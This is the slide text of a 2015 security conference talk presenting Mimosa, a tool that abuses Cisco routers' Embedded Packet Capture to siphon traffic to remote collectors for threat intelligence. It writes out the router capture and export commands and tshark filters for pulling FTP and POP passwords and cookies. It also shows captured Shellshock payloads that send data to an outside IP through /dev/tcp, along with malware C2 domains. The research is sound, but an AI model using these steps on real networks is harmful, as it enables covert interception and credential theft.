µMIMOSAWRITERROUTER
μMIMOSAWRITERROUTER

Abusing EPC on Cisco Routers to Collect Data.

Joaquim Espinhara @jespinhara

Rafael Silva @rfdslabs
Why this name?

www.nsanamegenerator.com
Agenda

1 / About Us
2 / Introduction & Motivation
3 / EPC / Evil / How EPC works / Abusing EPC
4 / Mimosa / Our approach / Demo / Potential
5 / Threat Intelligence
6 / Future
7 / Conclusion
Rafael Silva aka @rfdslabs

CTO at @EstuárioTi

Twitter @rfdslabs
1 / About us

Joaquim Espinhara aka @Jespinhara

Senior Security Consultant at @securusglobal
Introduction & motivation
2 / Introduction & motivation

- We are NOT exploiting a 0day on Cisco devices.
- We are aware of other methods, like GRE tunnels, port mirroring, lawful interception, etc.
- This is an automated tool to help pentesters / Threat intelligence to collect interesting data in a controlled environment.
- This is really useful tool for threat intelligence data gathering.
- You have to get ENABLE privilege on the router to use Mimosa.
2 / Introduction & motivation

2009 / @jespinhara @h2hc about GRE-TUNNELS.
2009 / @rfdslabs tell about EPC to @jespinhara.
2010 / Hacking the Planet...
2011 / Hacking the Planet...
2012 / Hacking the Planet...
2013 / Hacking the Planet...
2014 / Hacking the Planet...
2015 / Mimosa released.
EPC

Embedded Packet Capture
The ability to capture IPv4 and IPv6 packets.

A flexible method for specifying the capture buffer size and type.

EXEC-level commands to start and stop the capture.

Show commands to display packet contents on the device.

Facility to export the packet capture in PCAP format.

Extensible infrastructure for enabling packet capture points.
The ability to capture IPv4 and IPv6 packets.

- Sniffing

A flexible method for specifying the capture buffer size and type.

- Space to store sniffing content in router memory.

EXEC-level -> enable mode start and stop the capture.

- Need some hacking to Enable, cisco/cisco.

Show commands to display packet contents on the device.

- Sniffing on the fly.

Facility to export the packet capture in PCAP format.

- Make your pcap-farm-server.

Extensible infrastructure for enabling packet capture points.

- All Your Network Are Belong to Us.
How EPC Works

1. Define a Capture Buffer and Size and Type (Linear OR Circular):

   ```
   Router# monitor capture buffer NAMEbuff size 32400 max-size 9500 linear OR circular
   Router#
   ```

2. Define a Capture point (interfaces and directions):

   ```
   Router# monitor capture point ip cef Name-Cap-Point all ?
   both   capture ingress and egress
   in     capture on ingress
   out    capture on egress
   ```

3. Associate the capture point to our buffer:

   ```
   Router# monitor capture point associate mimosa-point mimosa
   Router# monitor capture point associate mimosa-point mimosa ?
   WORD Name of the Capture Buffer
   ```
Start / stop the capture point:

```
Router# monitor capture point start mimosa-point
Router# monitor capture point start ?
   WORD    Name of the Capture Point
   all     All Capture Points
```

**Linear** / When the buffer is full, the capture will stop.

**Circular** / The buffer will be overwritten with new packets.
Export the capture in PCAP format to a remote location:

```bash
Router# monitor capture buffer mimosa export ?
  flash0: Location to dump buffer
  flash1: Location to dump buffer
  flash: Location to dump buffer
  ftp: Location to dump buffer
  http: Location to dump buffer
  https: Location to dump buffer
  rcp: Location to dump buffer
  scp: Location to dump buffer
  tftp: Location to dump buffer

Router# monitor capture buffer mimosa export ftp://dhillon:HIoTB@127.0.0.1/Router1.pcap
Writing Router1.pcap
Router#```
Sniffing on the fly:
The main problem is export the capture to a REMOTE location.

No way to disable the EPC OR block the export to a remote location 😞

This is a feature, is not a BUG 😊
Mimosa
Framework
4 / Mimosa / Our approach

-μMimosa C&C
- Routers
- Collectors
-μMimosa Parser
Mimosa> help

Documented commands (type help <topic>):

========
_load ed li pause set start_capture
_relative_load edit list py shell stop_capture
add_target hi list_targets r shortcuts
cmd environment history load run show
del_target l mimosas options save show_target

Undocumented commands:

EOF eof exit help moo q quit

Mimosa> list_targets

* IP Address Capture

-------------------------------
192.168.1.1 [RUNNING]
127.0.0.1 [STOPPED]
192.168.4.4 [STOPPED]
192.168.4.2 [STOPPED]
192.168.4.1 [RUNNING]
192.168.4.10 [STOPPED]

Mimosa> mimosas options list

* Name Value

-------------------------------
cisco passwd cisco
ftp_string 127.0.0.1
ftp_string <NONE>
ftp_string <NONE>
cap interval 300

Mimosa>
Tshark

User Agents (Client Side Exploitation)

tshark -Y 'http contains "User-Agent:"' -T fields -e http.user_agent -nlr pcapfile

*BcfBAAAA0VBAAEFBAAgNgw_3M9VXf1qD7mJaAIIFC4rBu1nFKAjNAAAEAAAKA=
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727)
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727)
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727)
Microsoft-CryptoAPI/6.1
HTTP Requests

tshark -T fields -e http.host -e http.request.uri -Y 'http.request.method == "GET"' -nlr pcapfile
Tshark

Geo IP

All Protocols
• tshark -i2 -nqzio,phs –r pcapfile

DNS Requests (Virus Total)
• tshark -nn -e ip.src -e dns.qry.name -T fields -Y "dns" –r pcapfile

User Agents (Client Side Attacks)
• tshark -Y 'http contains "User-Agent:"' -T fields -e http.user_agent –r pcapfile
Tshark

FTP Creds
• `tshark -Y "(ftp.response.code == 230 || ftp.request.command == "PASS") || (ftp.request.command == "USER")" -nlr pcapfile`

POP Creds
• `tshark -Y "(pop.request.command == "PASS") || (pop.request.command == "USER")" -nlr pcapfile`

Cookies (Hijack)
Carving With bro

```python
global ext_map: table[string] of string = {
    ["application/x-dosexec"] = "exe",
    ["text/plain"] = "txt",
    ["text/csv"] = "csv",
    ["text/javascript"] = "javascript",
    ["text/vcard"] = "vcard",
    ["image/jpeg"] = "jpg",
    ["image/png"] = "png",
    ["text/html"] = "html",
    ["application/json"] = "json",
    ["application/javascript"] = "js",
    ["application/pdf"] = "pdf",
    ["application/xml"] = "xml",
    ["application/zip"] = "zip",
    ["audio/mp4"] = "mp4",
    ["audio/mpeg"] = "mpeg",
    ["audio/flac"] = "flac",
} &default ="";

event file_new(f: fa_file)
{
    local ext = "";

    if ( f?$mime_type )
        ext = ext_map[f$mime_type];

    local fname = fmt("%s-%s.%s", f$source, f$id, ext);  
    Files::add_analyzer(f, Files::ANALYZER_EXTRACT, [$extract_filename=fname]);
}
```
Results

xdqzpcgrvkj.ru /in.php
xdqzpcgrvkj.ru /in.php
http://thescorpionking.no-ip.org:1604/ready
http://thescorpionking.no-ip.org:1604/ready
http://thescorpionking.no-ip.org:1604/ready
anamorph.su /in.php
anamorph.su /in.php
ygiudewsqhct.in /in.php
ygiudewsqhct.in /in.php

VirusTotal

URL: http://ygiudewsqhct.in/
Detection ratio: 4 / 62
Analysis date: 2015-04-09 09:26:21 UTC (3 days, 10 hours ago)
### Domains

<table>
<thead>
<tr>
<th>Domain</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.update.microsoft.com">www.update.microsoft.com</a></td>
<td>65.55.200.156</td>
</tr>
<tr>
<td>xdqzpbcgrvkj.ru</td>
<td>195.22.26.231</td>
</tr>
<tr>
<td>anamorph.su</td>
<td>195.22.26.231</td>
</tr>
<tr>
<td>orzdwtvmein.in</td>
<td>195.22.26.231</td>
</tr>
<tr>
<td>ygiudewsqhct.in</td>
<td>195.22.26.231</td>
</tr>
<tr>
<td>bdcrgonzmwhkhy.nl</td>
<td>195.22.26.231</td>
</tr>
<tr>
<td>somicrosoft.ru</td>
<td>217.23.11.124</td>
</tr>
</tbody>
</table>
Follow: tcp, ascii
Filter: tcp.stream eq 105
Node 0: 48:53983
Node 1: 103.10.228.231:80
138
GET / HTTP/1.1
Accept-Encoding: identity:
Connection: close
User-Agent: () { :: }; echo; /bin/uname -a > /dev/tcp/45.55.157.194/80;
4 / Mimosa / Results

```
10974 696.575995 192.168.1.2 -> 82 POP 69 C: USER
10975 696.575995 124.124.6.17 -> 82 POP 69 C: USER
10994 696.840001 192.168.1.2 -> 82 POP 56 C: PASS
10995 696.840001 124.124.6.17 -> 82 POP 56 C: PASS
11084 699.139998 192.168.1.2 -> 82 POP 66 C: USER
11085 699.139998 124.124.6.17 -> 82 POP 66 C: USER
11088 699.415996 192.168.1.2 -> 82 POP 59 C: PASS
11089 699.415996 124.124.6.17 -> 82 POP 59 C: PASS
27766 2502.091997 192.168.1.2 -> .82 POP 69 C: USER
27767 2502.091997 124.124.6.17 -> .82 POP 69 C: USER
27818 2502.363995 192.168.1.2 -> .82 POP 56 C: PASS
27819 2502.363995 124.124.6.17 -> .82 POP 56 C: PASS
27879 2506.724000 192.168.1.2 -> .82 POP 66 C: USER
27880 2506.724000 124.124.6.17 -> .82 POP 66 C: USER
27883 2506.999998 192.168.1.2 -> .82 POP 59 C: PASS
27884 2506.999998 124.124.6.17 -> .82 POP 59 C: PASS
```
4 / Mimosa / Results

![VirusTotal](image)

<table>
<thead>
<tr>
<th>SHA256</th>
<th>HTTP-F67Wlq11nl1dQIX3He.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection ratio</td>
<td>4 / 57</td>
</tr>
<tr>
<td>Analysis date</td>
<td>2015-04-05 23:32:16 UTC (1 minute ago)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comodo</td>
<td>Heur.Corrup.PE</td>
<td>20150405</td>
</tr>
<tr>
<td>Cyren</td>
<td>W32/Damaged_File.genlElcorado</td>
<td>20150405</td>
</tr>
<tr>
<td>F-Prot</td>
<td>W32/Damaged_File.genlElcorado</td>
<td>20150401</td>
</tr>
<tr>
<td>TheHacker</td>
<td>W32/Behav-Heuristic-CorruptFile-EP</td>
<td>20150403</td>
</tr>
</tbody>
</table>
4 / Mimosa / Results

dasdasdas rfdslabs$ wget www.se7c.com
--2015-04-03 23:34:06-- http://www.se7c.com/
Resolving www.se7c.com... 180.97.161.148
Connecting to www.se7c.com|180.97.161.148|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'

index.html

2015-04-03 23:34:09 (11.2 KB/s) - 'index.html' saved [9293]
dasdasdas: rfdslabs$ grep -i baidu index.html

<script type="text/javascript" src="http://dup.baidustatic.com/js/zm.js"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<div id="baidu_dup_923361"></div>
<script type="text/javascript">(BAIDU_DUP=window.BAI DU_DUP||[]).push(["fillAsync","923361","baidu_dup_923361"]);</script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>

μMIMOSAWRITERROUTER / HI T B 2015 @ Amstd
### Index of /loga

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0A1wRkmEvi6dv2b1YkJ1.txt</td>
<td>15-Dec-2014 15:34</td>
<td>46K</td>
<td></td>
</tr>
<tr>
<td>0AAepb57jzMguego7iOR.txt</td>
<td>01-Feb-2015 01:55</td>
<td>63K</td>
<td></td>
</tr>
<tr>
<td>0AMdAI08a9uIMn92kH1N.txt</td>
<td>31-Jan-2015 00:54</td>
<td>255K</td>
<td></td>
</tr>
<tr>
<td>0AcYyEn7Fs1kDltN1Rjh.txt</td>
<td>14-Dec-2014 22:19</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>0AoXhJKLDTbm5bZoYWuW.txt</td>
<td>31-Jan-2015 02:46</td>
<td>112K</td>
<td></td>
</tr>
<tr>
<td>0ApuDpZL3XuSbuvvY8Us.txt</td>
<td>30-Jan-2015 05:52</td>
<td>190K</td>
<td></td>
</tr>
<tr>
<td>0AwDk32Fj8HZSmjPB4yf.txt</td>
<td>14-Dec-2014 17:37</td>
<td>353K</td>
<td></td>
</tr>
<tr>
<td>0B9hlF7oRF0qkORE3loD.txt</td>
<td>26-Feb-2015 14:25</td>
<td>21K</td>
<td></td>
</tr>
<tr>
<td>0BBD3TF1vFlIYZG9oa2s.txt</td>
<td>14-Mar-2015 17:25</td>
<td>30K</td>
<td></td>
</tr>
<tr>
<td>%</td>
<td>File Name</td>
<td></td>
<td></td>
</tr>
<tr>
<td>---</td>
<td>---------------------------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>Supernatural.s10e11.HDTV.x264-DIMENSION.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>12x[712M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>1X[248M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>te.E.E.2014.HDTV.x264-DIMENSION.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>27x[1.4G]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>Pppoh.Drunk.Punk.001807.HDTV.x264-KILLERS.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>0X[957M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>The.Simpsons.S26E17.HDTV.x264-KILLERS.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>3X[153M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>0X[558M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>3X[1.0G]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>0X[993M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>Phanter.Require.for.the.Phanter.001702.BluRay.x264-DIMENSION.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15</td>
<td>5X[961M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>4X[756M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>17</td>
<td>Family.Guy.S1103.HDTV.x264-DIMENSION.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>18</td>
<td>0X[551M]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>19</td>
<td>0X[2.2G]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>20</td>
<td>0X[1.4G]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>0X[1.2G]</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
5 / Mimosa / Potential

Some numbers:

• 300 Routers
• 1MB per hour
• 24hr per day
• 365 days per year

• 1hr = 300 MB
• 24hr = 7200 = 7.2 GB
• 365 = 2628000 = 2566,40625 GB = 2,506256104 TB
Future
Add support to another devices, such as mikrotik and Juniper.

A dashboard for better visualization of the sensitive data.

Other attack options like bruteforce, CVE-XXXX.

PCAP Automatic Analysis (pyshark).

Mimosa farm daemon.
Mimosa

https://github.com/rfdslabs/Mimosa-Framework

Download and coding with us.
Python Based.
Trank you!

Rafael Silva
rafa.silva@gmail.com
@rfdslabs

Joaquim Espinhara
espinhara.net@gmail.com
@jespinhara

Ulisses Albuquerque @urma
Julio Auto @julioauto
Luiz Eduardo @effffn

Dhillon and Melinda
Julio Cesar Fort @juliocesarfort

NSA for the insight 😊